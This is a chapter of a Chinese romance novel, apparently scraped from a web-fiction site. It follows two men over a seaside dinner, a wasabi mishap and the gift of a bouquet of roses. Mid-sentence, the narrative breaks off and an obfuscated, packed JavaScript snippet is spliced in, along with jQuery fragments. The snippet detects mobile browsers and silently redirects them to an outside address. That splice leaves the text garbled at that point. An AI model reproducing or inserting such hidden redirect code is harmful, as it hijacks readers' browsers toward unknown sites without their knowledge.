从咖啡厅出来时，暮色已完全浸染天际。
海风裹挟着潮气掠过，沿街霓虹次第亮起，一位满怀抱着玫瑰花的女生走来：“先生，这是厄瓜多尔进口玫瑰，买一束吧。”在临海的街道上，有这些卖花、卖小玩意儿的小商人，他们精灵似的夜夜在这里游荡。
闻莘的视线刚触及那些暗红花瓣，边羽已抬手谢绝：：“不需要，谢谢。”
“哦……”那女生失望地抱着玫瑰花走了。
闻莘张张嘴，似乎想叫住她，但她脚步已快速走远。
少女抱着花束隐入夜色时，对面的滨海道上，露天大排档的彩灯恰在此时亮起，陆续有客人入座，一支乐队站在观海台上摆开乐器，黄铜管乐混着吉他扫弦声漫过夜空。
“接下来我们做的第一件事情，一起吃饭。”闻莘指着被彩灯缠绕的棕榈树，“我看那一家饭店，很有意思。你请我喝咖啡，我请你吃饭，我们去那里吧？”
吃饭是什么值得开心的事？边羽没想明白，但还是应允了。毕竟雕刻家在寻找灵感，总是要到市井中去的。
露天餐厅顶上铺搭了一条条星星灯，设计得像千禧年普遍的户外大排档，乐队在演奏00年代流行的乐曲，有不少怀旧的人喜欢这种氛围。
边羽和闻莘找到座位坐下，服务人员拿来塑封的菜单。
闻莘把菜单递给边羽：“你比较想吃什么？”
“海鲜。”最近天闷，他不爱吃口味重的食物。
“那你点单，点你喜欢的海鲜。”
边羽向服务员说：“白灼八爪鱼，白灼虾，然后，炒黄花苗。三个菜，我觉得够了。”
服务员收好菜单离开了，过后送来一壶热水和一个铁盆子。
闻莘疑惑地问：“这两个是干什么的？”
“烫碗用的。”边羽倒满一盆热水，用筷子起夹起桌上的碗，像夹片棉花那样轻松。碗被筷子夹着放进热水盆里，灵活地转了一圈，“像这样。清洁，杀毒，更卫生。”
闻莘半张着嘴，更多是惊讶于，边羽轻松就能用筷子夹起碗。
“你可以理解为，这是我们的习俗。”边羽将筷子递给闻莘，示意让他自己试试。
闻莘学着他的样子，勉勉强强夹起碗在热水盆里滚了一圈，跟着杯子也一起放到里面洗了洗。他的表情看起来不是很能理解，但默默接受了这种“习俗”。
把碗筷烫好，闻莘有种完成大事的成就感。接着，他像是突然有什么想法，说：“我想起来，我印象里，我法国朋友的妈妈也会这个——习俗。”
“嗯？”边羽倒着一杯柠檬水，等他继续话题。
“在法国，有一次，我们到他的家里做客。在吃饭的时候，我爸爸——我爸爸他是中国人，他说，中国的习俗，是用开水烫碗，温度越高，效果越好。”闻莘手势虚空比划着一个拿东西的动作，“然后，朋友的妈妈从房间里拿出一把熨斗，给桌子上的餐具，做了一次高温spa，把勺子都烫平了。”
“这样吗？”边羽把柠檬水倒好了，杯中的柠檬籽漂浮旋转着，缓缓沉到杯底。
闻莘见他反应平淡，皱了皱眉头：“啊，看起来，这件事情没有震惊到你。”
“因为，我见过更让人震惊的事情。”
“什么事情？”
边羽不急着说，而是叫不远处的服务员拿一桶冰块过来。等服务员把装满一小铁桶的冰提来放下，他才慢慢讲道：“你知道为什么白俄罗斯不种玫瑰吗？”
闻莘对这个问题将信将疑：“有这样的事情？为什么？”他并没听过白俄罗斯不种玫瑰的传闻，但想知道边羽会讲什么。
“因为土壤酸碱度不对。”边羽用镊子夹起冰块放进柠檬水，叮咚声里透着一本正经，“我的外祖父做过实验，把渐变玫瑰和薰衣草种在一起，发生了悲剧。”
闻莘身体前倾，靠近了他：“嗯？什么样的，悲剧？”
彩灯在边羽的脖颈处投下闪闪光碎，像撒了把玫瑰花瓣：“第二天渐变色的玫瑰全变成了蓝色妖姬，一下子价格腰斩了啊。”
“这是真的吗？你亲眼看见的吗？”闻莘有些不可思议地瞪大眼。
边羽有模有样地点点头：“啊，真的。”端起那杯冰镇柠檬水，不紧不慢喝了一口。
闻莘沉默两秒，断定道：“不对，这个，是你现在编的，你说过，你没去过白俄罗斯。”
“回应你的熨斗笑话。”
“这个笑话不像笑话，我还以为是什么——很奇怪的传闻。”
“因为你刚才的笑话，也没能让我笑。”
闻莘嘴唇抿成一条线，微有些不服气和不甘：“……Never give up（决不放弃）。”
服务员把第一道菜——“白灼八爪鱼”端上来了，小八爪鱼的触须一条条蜷起来，一个个像花苞，热气裹着海盐的咸鲜味。这道白灼菜没有别的食料佐味，只搭配了一叠酱油，一管芥末。
闻莘拿起那管芥末问：“你喜欢加多少？”
“加越多，越能感受到海鲜的新鲜。”边羽拧开芥末管，对着酱油碟挤压管身，膏状芥末沿着碟壁滑落，深褐色的豉油表面浮起一团青白色。
闻莘看着那近乎没了四分之一的芥末管，惊讶地问：“你可以吃这么的——辣？”
“这个量还好吧。”边羽拿筷尖把那一团青沫在酱油里搅匀，“你要不要先试试？”
闻莘夹起一小个八爪鱼，悬在酱油碟上空，动作迟疑着。他其实不太敢吃辣，尤其是芥末。但他有种青涩少年想在某位美丽少女面前好好表现的冲劲，不愿意在边羽面前承认自己的短板。
“不能吃辣的话，沾一点就可以。”边羽说。
闻莘咽了口唾沫，心想拼了，只沾一点点，没什么的。
他的筷子尖刚触到酱油表面，八爪鱼突然从筷头滑脱，扑通栽进酱汁里，触须在液体中瞬间裹满芥末酱。这已经不是只“沾一点”了，他急忙伸筷去捞，滑腻的八爪鱼身却在里打转，筷子每次夹住触须根部都会溜走。
边羽用筷尾戳住八爪鱼头部固定，闻莘趁机下压筷子，没想到触须反而缠住竹筷。
最后，他只得用小勺子，舀起一勺酱油连带着八爪鱼倒进自己碗里，酱汁淅淅沥沥滴了三四滴在桌布上。
望着碗中裹满芥末酱油的小八爪鱼，闻莘倒吸了一口凉气。
“嗯……你要是不敢吃，那这只就算了吧。”边羽体恤起他来。
“不，这点……不算什么。”闻莘强撑着面子。他夹起碗中的八爪鱼，硬着头皮，一整个吃进口中。
芥末味直冲鼻腔，闻莘太阳穴突地绷紧。喉结上下滑动两次后突然卡住，左手胡乱抓过纸巾捂住口鼻，指缝间漏出断断续续的抽气声，额头冒出一层细汗。
好在没辣哭出来，但还是让边羽看到笑话了。一个在“少女”面前表现失败的“少年”。
一杯冰镇柠檬水递过来。闻莘接过来喝，余光似乎看到边羽的嘴角有了弧度。几乎是一瞬间，那辣味他全然顾不上去在意，放下柠檬水，望着边羽的脸。那张嘴唇的弧度，却又恢复平常了。
闻莘不死心地问：“你刚才笑了吧？”这瞬间，他脑子不知怎么的，联想到西周末年，为博美人一笑而烽火戏诸侯的典故。
“没有。”边羽摇头，否认有那么回事。但他眉毛却微微上扬着，神情显然是比刚才轻松，“你不太能吃辣啊。”
闻莘指着那碟芥末酱油，为自己伸冤：“它真的，很辣，很辣，很辣。你吃，一定会哭的。”
“哦？”边羽神色间很不相信，“我平常都吃这个辣度，不觉得有什么难接受的。”他似乎是为了证明自己所言非虚，夹起一只小八爪鱼，在酱汁里滚了三圈，夹起来时吸盘缝里都渗着青绿色芥末。他把这只“冲味十足”的八爪鱼放进嘴里，唇瓣翕动，匀速咀嚼，平缓地吞咽下去。
边羽的脸色看起来很平静，没有一丝波澜。
但下一瞬，他的呼吸突然停滞半秒。紧跟着，闻莘看见，边羽耳后皮肤从耳垂开始泛红，像滴进清水里的血珠般迅速漫到脖颈。然后，一滴汗珠从边羽的额角滑到下颌，他垂眼盯着盘子，睫毛急促颤动两下，眼眶瞬间漫起水光。
一颗眼泪毫无预兆砸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090196|163077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在桌布上。
“啊……！”闻莘左手急忙抽出一大沓纸，捂住他脸上的湿痕，右手拍拍他的背说，“放心，我当作，没看到。你已经……比我能吃辣，很多，很多了。”
“咳……”纸巾后面的脸，好半晌，闷出一声咳嗽。
七点整，滨海乐队不再是单纯的乐曲演奏，一个歌手站到中间位，调整话筒：“接下来为大家分享一首爵士乐《Moody Wind》。”他举起一只手数着，“One，two，three，go！”顷刻间，鼓乐和吉他乐响起，歌手慵懒中带丝轻快地唱出歌词，竟是意大利语版的。
菜上全了，边羽吃着炒黄瓜苗，不再去动那盘白灼八爪鱼。闻莘把刚才那个“小插曲”轻松地带了过去，彼此当没发生那件事，唯有桌布上留着一块硬币大的泪印。
这顿饭快结束的时候，闻莘听到远远有个声音：“先生，买束花吧……”
他看到在乐队身后，那个满怀抱玫瑰的姑娘的影子。
“我去一趟washroom（卫生间）。”闻莘让边羽等他一下，起身向那个卖花姑娘走去。
卖花的姑娘步子很快，闻莘小跑着赶上她：“hey，请等一等。”
姑娘停住脚步，转过身，抱着捧花望了闻莘一会儿，随即笑得格外开朗：“先生，买花吗？这是厄瓜多尔进口的玫瑰，有星辰大海、极光、甜心……我们销量最好的是红酒玫瑰。先生，给爱人买一束吧。”
闻莘从口袋里拿出钱包，问：“那一束，红酒玫瑰，多少钱？”
卖花姑娘声音甜甜地说：“我们这束红酒玫瑰呢，是很稀有的品种，一共20朵，要726元。”
闻莘果断掏出一张100欧元给她：“这是外汇，可以吗？”他今天带出来的人民币用完了，还没回店里拿新的，自己用手机转账并不太习惯。
卖花姑娘将所有玫瑰捧花揽到一只手臂里，另一只手臂拿过那张纸币，在手中摸了摸，举高了看。紧接着，她一边把红酒玫瑰递给闻莘，一边说：“收的，但是我不知道汇率，它值多少人民币呢？”
“现在的汇率应该是……”闻莘在脑海里大概计算了一下，“750块多人民币。”（注：该汇率为文章背景时间2023年4月由中国人民银行官方发布汇率，1欧元=7.5008元）
卖花姑娘说：“那我还得找你钱。”
“不用了。”
“真的吗？那谢谢你。”卖花姑娘又反复看手中的100欧元，“它会涨值吧？”
闻莘说：“Maybe，但也可能会贬值，所以你要尽快去银行换。”
“好吧，谢谢。”卖花姑娘将钱收进小挎包里，抱着其他剩下的玫瑰走了。
红酒玫瑰花中，插着一张竹绿色的卡片，卡片上写着“花语：浪漫至死不渝”。
“浪漫至死不渝……”闻莘抱着怀中的红酒玫瑰低念。他的心忽然在这一刻跳得比往常快，一次他认为可以轻轻松松送出去的浪漫，在眼下居然忽地变成一个挑战。他以前从没这样怀疑过自己。
饭桌上，边羽吃饱饭，手撑着下巴，静静欣赏舞台上的意大利腔爵士乐。歌手和队员演唱间带着轻快的动作，而正好在这时，一个男人怀抱玫瑰，从音乐中走过来。
闻莘双手捧着一大束遮过他半张脸的红酒玫瑰，暗纹包装纸在闪烁的彩灯下变幻着色泽。
他走到边羽面前，这颗心此刻称得上忐忑，可他面上还是很镇定的样子，将花送到边羽面前。
当他将花束递出的瞬间，远处的海面恰有汽笛破空，一行沉睡的白鹭被惊起，他的心跟着跳漏半拍，凝神等待边羽的回应。
边羽愣怔半晌，手指掠过花瓣上那一圈酒红色：“花那么多钱，换一夜凋零？”
“因为，我想看看，你把它和其他颜色的花，放在一起，第二天，会不会变色？”
刚才无聊的白俄玫瑰笑话，他居然记得很清楚。默了几秒，边羽说：“要是变色了，你不就买亏了？”
“是啊……”闻莘眼帘垂了垂，“但是，如果是变的颜色，是你喜欢的，那就值得。”